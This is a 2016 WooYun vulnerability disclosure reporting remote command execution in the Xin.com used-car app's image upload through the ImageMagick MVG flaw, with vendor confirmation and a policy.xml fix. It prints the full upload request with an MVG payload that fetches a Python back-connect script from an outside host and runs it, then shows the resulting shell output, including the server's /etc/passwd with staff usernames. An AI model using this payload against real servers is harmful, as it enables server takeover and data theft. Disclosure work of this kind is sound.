当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0206489

漏洞标题:优信二手车官方app命令执行

相关厂商:xin.com

漏洞作者: jianFen

提交时间:2016-05-08 20:52

修复时间:2016-06-23 15:20

公开时间:2016-06-23 15:20

漏洞类型:命令执行

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-08: 细节已通知厂商并且等待厂商处理中
2016-05-09: 厂商已经确认,细节仅向厂商公开
2016-05-19: 细节向核心白帽子及相关领域专家公开
2016-05-29: 细节向普通白帽子公开
2016-06-08: 细节向实习白帽子公开
2016-06-23: 细节向公众公开

简要描述:

- -

详细说明:

下载官方app后 头像处抓包 上传
看左上角的旋转图片 哈

Screenshot_2016-05-08-20-41-12-139.png


POST /upload.php HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.6)
Content-Type: multipart/form-data; boundary=---------------------------123821742118716
Host: imgup.xin.com
Accept-Encoding: gzip
Content-Length: 300217
-----------------------------123821742118716
Content-Disposition: form-data; name="app"
xin_app
-----------------------------123821742118716
Content-Disposition: form-data; name="key"
RdUAb6GF6uWjqW
-----------------------------123821742118716
Content-Disposition: form-data; name="pic"; filename="crop.png"
Content-Type:image/png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget 115**02/back.py -O /tmp/x.py && python /tmp/x.py 115.**202 2333")'
pop graphic-context
-----------------------------123821742118716--


图片内容

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget 115****202/back.py -O /tmp/x.py && python /tmp/x.py 1****.202 2333")'
pop graphic-context


sh-4.1$ pwd
pwd
/data1/webapps/imgup.xin.com/htdocs


sh-4.1$ uname -a
uname -a
Linux d1601085.grid.nc.xin.com 2.6.32-573.el6.x86_64 #1 SMP Thu Jul 23 15:44:03 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

漏洞证明:

sh-4.1$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
dingning:x:1001:1001:dingning,,,:/home/dingning:/bin/bash
chenwei:x:1003:1003:chenwei,,,:/home/chenwei:/bin/bash
songqipeng:x:1002:1002:songqipeng,,,:/home/songqipeng:/bin/bash
chenlimin:x:1004:1004:chenlimin,,,:/home/chenlimin:/bin/bash
chenkun:x:1005:1005:chenkun,,,:/home/chenkun:/bin/bash
zhoujiangjun:x:1006:1006:zhoujiangjun,,,:/home/zhoujiangjun:/bin/bash
nginx:x:510:510::/home/nginx:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
liuxiaopeng:x:1007:1007:liuxiaopeng,,,:/home/liuxiaopeng:/bin/bash
houpengfei:x:1008:1008:houpengfei,,,:/home/houpengfei:/bin/bash


修复方案:

官方在6.9.3-9版本中对漏洞进行了不完全的修复
使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>

版权声明:转载请注明来源 jianFen@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-05-09 15:16

厂商回复:

非常感谢,已经确认漏洞存在!

最新状态:

暂无